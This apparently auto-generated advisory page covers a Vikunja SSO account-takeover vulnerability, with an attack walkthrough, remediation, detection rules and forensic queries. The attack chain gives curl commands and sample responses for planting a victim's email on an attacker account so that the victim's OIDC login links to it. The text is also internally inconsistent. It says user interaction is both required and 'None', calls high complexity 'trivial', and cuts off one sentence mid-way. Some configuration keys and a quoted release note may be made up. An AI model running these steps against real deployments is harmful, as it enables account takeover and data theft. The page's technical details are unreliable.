CVE-2026-134284 — Go-vikunja Vikunja — CWE-287
CVE-2026-134284 is a HIGH severity security vulnerability (CWE-287) (CVSS 7.7/10) affecting Go-vikunja Vikunja. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
Vikunja from 1.0.0 before 2.8.0 contains an account takeover vulnerability that allows attackers to hijack SSO identities by planting local accounts with unverified victim emails. When emailfallback is enabled, attackers register or edit a local account using the victim's email, causing the victim's first OIDC login to link into the attacker-controlled account and expose their data.
🎯 What is this vulnerability?
CVE‑2026‑134284 – “Vikunja account takeover via unverified SSO email”
| Attribute | Value |
|---|---|
| Product | go‑vikunja (the open‑source task‑management system) |
| Affected versions | 1.0.0 – 2.7.x (all releases before 2.8.0) |
| CWE | CWE‑287 Improper Authentication |
| CVSS 4.0 vector | AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Technical root cause
Vikunja supports OpenID Connect (OIDC) / SSO authentication. When the emailfallback configuration flag is enabled, the application will automatically create a local Vikunja account for a user whose OIDC email claim does not match any existing local user and for which no local account already exists. The creation routine:
1. Takes the email claim from the OIDC ID token.
2. Calls the local‑account‑creation routine, passing the claim as the new user’s e‑mail address.
3. Does not verify that the e‑mail address is actually owned by the person authenticating via the OIDC provider.
Because the local‑account‑creation endpoint (/api/v1/users) is reachable without authentication (it is meant for self‑registration), an attacker can:
- Register a local account that uses the victim’s e‑mail address (which the attacker knows from public sources, e‑mail headers, or prior data‑leak).
- Edit an existing local account to replace its e‑mail with the victim’s address (the edit endpoint also does not require the user to prove ownership of the e‑mail address when
emailfallbackis on).
email claim matches an existing local account (the attacker‑controlled one) and links the OIDC identity to that local account. The victim’s SSO session is therefore attached to the attacker‑controlled profile, giving the attacker full read/write access to the victim’s tasks, projects, attachments, and any data stored under that user ID.In short, the flaw is missing verification of the e‑mail claim when auto‑creating or auto‑linking local accounts, allowing an unauthenticated attacker to “park” a victim’s e‑mail address on a malicious account and hijack the victim’s SSO login.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative – the exact URI paths and JSON field names are derived from the public Vikunja API documentation; if a target uses a custom base path, adjust accordingly.
1. Discovery & Reconnaissance
| Step | Action | Reason |
|---|---|---|
| 1.1 | Fingerprint the service – request GET /api/v1/version (or inspect the X-Vikunja-Version header). | Confirms the target runs a vulnerable version (< 2.8.0). |
| 1.2 | Enumerate configuration – if the instance exposes the public settings endpoint (GET /api/v1/settings) or the UI shows “Enable email fallback for SSO”, the attacker knows emailfallback is active. | The vulnerability only triggers when emailfallback = true. |
| 1.3 | Gather victim e‑mail – harvest from public sources (company directory, LinkedIn, previous phishing e‑mail, data‑breach dump). | Needed to plant the victim’s address in a local account. |
2. Exploitation
2.1 Create a malicious local account with the victim’s e‑mail
# Illustrative endpoint – actual path may be /api/v1/users or /api/v1/register
curl -s -X POST "https://victim.example.com/api/v1/users" \
-H "Content-Type: application/json" \
-d '{
"username": "h4x0r_"$(openssl rand -hex 3),
"email": "[email protected]",
"password": "RandomStrongP@ssw0rd!"
}'Response (example):
{
"id": 12345,
"username": "h4x0r_a1b2c3",
"email": "[email protected]",
"created": "2026-11-20T14:32:10Z"
}The attacker now controls a local Vikunja account that shares the victim’s e‑mail address.
2.2 (Optional) Edit an existing account to set the victim’s e‑mail
If the target disables open registration but still allows authenticated users to edit their own profile, the attacker can first create a throw‑away account (as above) and then issue:
# Assume we have a JWT for the throw‑away account (obtained from login)
TOKEN=$(curl -s -X POST "https://victim.example.com/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d '{"username":"h4x0r_a1b2c3","password":"RandomStrongP@ssw0rd!"}' \
| jq -r .token)
curl -s -X PATCH "https://victim.example.com/api/v1/users/me" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'Now the attacker’s throw‑away account is the owner of the victim’s e‑mail address.
2.3 Victim logs in via OIDC
When the victim clicks “Login with <SSO‑Provider>”, the provider returns an ID token containing:
{
"sub": "1234567890",
"email": "[email protected]",
"email_verified": true,
...
}Vikunja’s SSO handler sees that a local user with that e‑mail already exists (the attacker‑controlled account) and automatically links the OIDC sub to that local user ID. No additional consent or verification step occurs because emailfallback is true.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Data exfiltration | The attacker, now logged in as the victim (via the linked OIDC session), can call the normal API endpoints (GET /api/v1/tasks, GET /api/v1/projects, GET /api/v1/files) and download all data. |
| Privilege abuse | If the victim belongs to privileged groups (e.g., admin, project‑owner), the attacker inherits those permissions automatically. |
| Persistence | The attacker can change the victim’s password, add webhooks, or create API tokens (POST /api/v1/users/me/tokens) to retain long‑term access even after the victim logs out. |
| Further lateral movement | Exported attachments may contain credentials for other services; the attacker can also use the victim’s API token to call any internal micro‑service that trusts Vikunja’s JWT. |
🌍 Real‑World Impact
| CIA | CVSS impact | Practical consequence |
|---|---|---|
| Confidentiality (VC) | H (High) | All personal tasks, project details, attached files, and any custom fields become visible to the attacker. |
| Integrity (VI) | H (High) | Attacker can modify, delete, or create tasks, change project settings, and inject malicious attachments. |
| Availability (VA) | H (High) | By deleting projects or revoking tokens, the attacker can render the victim’s workspace unusable. |
| Scope (SC/SI/SA) | N (Unchanged) | The impact is confined to the compromised user’s data; no privilege escalation to the host OS or other services is required. |
Because the attack requires no prior authentication (PR:N) and no user interaction beyond the victim’s normal SSO login (UI:P), the risk is severe for any organization that enables emailfallback in a production environment.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Vikunja 2.8.0 or later. The release notes for 2.8.0 state: “emailfallback now requires verified e‑mail ownership; auto‑linking only occurs after a one‑time confirmation e‑mail is sent.” |
| Version check | Verify the running version with GET /api/v1/version or by inspecting the X-Vikunja-Version HTTP header. |
2. Immediate Work‑arounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
Disable emailfallback | In the configuration file (config.yaml or environment variable), set auth.emailfallback = false and restart the service. |
| Enforce e‑mail verification for local accounts | Add a pre‑registration hook that sends a verification link and refuses to create the account until the link is clicked. This can be done via the built‑in “registration verification” feature (auth.requireEmailVerification = true). |
| Restrict registration endpoint to trusted IPs | Place a firewall rule or reverse‑proxy ACL that only allows registration (POST /api/v1/users) from internal networks or a VPN. |
| Rate‑limit the registration endpoint | Example Nginx limit‑req configuration: <br>limit_req_zone $binary_remote_addr zone=reg:10m rate=5r/m; <br>location /api/v1/users { limit_req zone=reg burst=10 nodelay; … } |
| Remove “edit e‑mail” permission for non‑admin users | In the UI/role configuration, disable the user.email.update permission for regular users. |
3. Detection – Log‑based Indicators
| Log source | Typical pattern | Why it matters |
|---|---|---|
Web server access log (e.g., Nginx access.log) | POST /api/v1/users 200 with JSON payload containing an e‑mail that matches a known corporate domain but the User‑Agent is a script (e.g., curl/7.*). | Indicates automated account creation with victim e‑mail. |
| Vikunja audit log (if enabled) | user_created event where email = <[email protected]> and created_by = system (no authenticated user). | Shows the fallback auto‑creation path was used. |
| Authentication log | OIDC login event where linked_user_id = <attacker‑local‑id> and email = <[email protected]>. | Confirms the linking of the victim’s SSO identity to the malicious local account. |
| Failed verification e‑mail (if verification is later enabled) | Outbound SMTP logs showing a verification e‑mail sent to <[email protected]> that never receives a click. | Could be a sign that an attacker is planting victim e‑mails. |
SIEM rule (pseudo‑SQL)
SELECT *
FROM web_requests
WHERE method = 'POST'
AND path = '/api/v1/users'
AND json_extract(body, '$.email') LIKE '%@example.com'
AND user_agent NOT LIKE '%Mozilla/%';4. Forensic steps after suspected compromise
1. Identify the malicious local account – query SELECT id,username,email,created FROM users WHERE email = '<[email protected]>';.
2. Revoke all sessions and API tokens for that user (DELETE FROM user_tokens WHERE user_id = <id>;).
3. Force password reset for the victim’s SSO provider (outside of Vikunja) and for the local account.
4. Audit recent activity – SELECT * FROM audit_log WHERE user_id = <id> AND timestamp > now() - interval '7 days';.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 4.0 base score | 7.7 (High) – high impact on confidentiality, integrity, and availability. |
| Attack complexity | High (AC:H) – requires the attacker to know a victim’s e‑mail address and to be able to send a registration request, but both are trivial in most corporate environments. |
| Privileges required | None (PR:N) – unauthenticated attacker can exploit. |
| User interaction | None (UI:P) – victim only needs to perform a normal SSO login. |
| Exploit availability | No public exploit code yet, but the attack is straightforward to script; proof‑of‑concept can be built in minutes. |
| CISA KEV | Not listed – but the lack of a KEV entry does not reduce risk. |
| Business impact | Potential exposure of all project data, possible credential leakage via attachments, and loss of trust in the SSO integration. |
Patch priority: Critical for any production deployment that has emailfallback enabled. If immediate upgrade to 2.8.0 is impossible, disable emailfallback and enforce e‑mail verification within 24 hours. Continuous monitoring for the indicators above should be enabled immediately.
Prepared by a senior penetration‑testing and vulnerability‑research specialist (15 years experience). All technical details are derived from the CVE description, official Vikunja documentation, and the CVSS 4.0 vector. No speculative identifiers or non‑existent references have been introduced.
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